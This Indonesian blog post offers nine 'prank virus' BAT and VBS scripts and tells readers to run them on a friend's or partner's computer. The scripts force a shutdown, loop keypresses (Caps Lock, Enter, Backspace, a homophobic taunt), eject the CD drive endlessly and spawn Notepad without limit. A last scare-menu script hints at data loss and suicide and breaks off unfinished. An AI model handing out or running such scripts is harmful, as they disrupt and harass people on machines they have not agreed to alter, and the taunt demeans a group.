KUMPULAN CARA BUAT VIRUS KOMPUTER GANAS DAN LUCU !!!!

KUMPULAN CARA BUAT VIRUS KOMPUTER GANAS DAN LUCU !!!!

ASSALAMU`ALAIKUM WR WB

Silahkan yang mau nyoba iseng iseng ke computer  teman atau pacar atau siapa dech situ tapi dosa ditanggung sendiri ya, langsung saja pilih virus yang kamu suka, lalu copas ke notepad, ini dia:

1) memberi pesan dan shutdown komputer. Buka Notepad ketik script dibawah ini
dan Save As menggunakan Extension .BAT
Quote:

@echo off

msg * Aku tidak suka kamu
shutdown -c "Error! Kamu jelek sekali" -s


2) Menyalakan tombol Caps lock secara simultan.
Buka Notepad ketik script dibawah ini dan Save As menggunakan Extension .VBS
Quote:

Set wshShell =wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{CAPSLOCK}"
loop


3) Buka/tutup CD drive secara terus menerus.

Buka Notepad ketik script dibawah ini dan Save As menggunakan Extension .VBS
Quote:

Set oWMP = CreateObject("WMPlayer.OCX.7")

Set colCDROMs = oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 5000
loop


4) Tekan Enter secara simultan.

Buka Notepad ketik script dibawah ini dan Save As menggunakan Extension .VBS
Quote:

Set wshShell = wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "~(enter)"
loop


5) Mengetik pesan kita secara otomatis di notepad.

Buka Notepad ketik script dibawah ini dan Save As menggunakan Extension .VBS
Quote:


WScript.Sleep 180000

WScript.Sleep 10000

Set WshShell = WScript.CreateObject("WScript.Shell")

WshShell.Run "notepad"

WScript.Sleep 100

WshShell.AppActivate "Notepad"

WScript.Sleep 500

WshShell.SendKeys "Hel"

WScript.Sleep 500

WshShell.SendKeys "lo "

WScript.Sleep 500

WshShell.SendKeys ", ho"

WScript.Sleep 500

WshShell.SendKeys "w a"

WScript.Sleep 500

WshShell.SendKeys "re "

WScript.Sleep 500

WshShell.SendKeys "you"

WScript.Sleep 500

WshShell.SendKeys "? "

WScript.Sleep 500

WshShell.SendKeys "I a"

WScript.Sleep 500

WshShell.SendKeys "m g"

WScript.Sleep 500

WshShell.SendKeys "ood"

WScript.Sleep 500

WshShell.SendKeys " th"

WScript.Sleep 500

WshShell.SendKeys "ank"

WScript.Sleep 500
WshShell.SendKeys "s! "


6) Menjalankan BACKSPACE secara simultan.

Buka Notepad ketik script dibawah ini dan Save As menggunakan Extension .VBS
Quote:

MsgBox "Let's go back a few steps"

Set wshShell =wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{bs}"
loop


7) Hack keyboard sehingga korban dipaksa mengetik "You are a gay" secara simultan.

Buka Notepad ketik script dibawah ini dan Save As menggunakan Extension .VBS
Quote:


Set wshShell = wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "You are a gay"
loop


8) Buka Notepad secara terus menerus.

Buka Notepad ketik script dibawah ini dan Save As menggunakan Extension .BAT
Quote:


@ECHO off

:top

START %SystemRoot%\system32\notepad.exe
GOTO top


9) Munculin 5 pilihan yang harus korban pilih.

Buka Notepad ketik script dibawah ini dan Save As menggunakan Extension .BAT
Quote:


@echo off

title The end of the world

cd C:\

:menu

cls

echo oops gw gak tanggung jawab lho apa yang barusan lu lakuin hehhe,,semuanya dh jadi tanggung jawab lu sendiri...

pause

echo pilih nama cwe yang lu suka =P :

echo 1. datanya bakal ilang lho.

echo 2. komputer nya corrupt lho

echo 3. heheh no comment deh klo yang ini

echo 4. mau mati pake jalan ini?

echo 5. bye bye...

set input=nothing

set /p input=Choice:

if %input%==1 goto one
if %input%==2 goto two

YANG TULISANNYA QUOTE JANGAN DI KOPAS.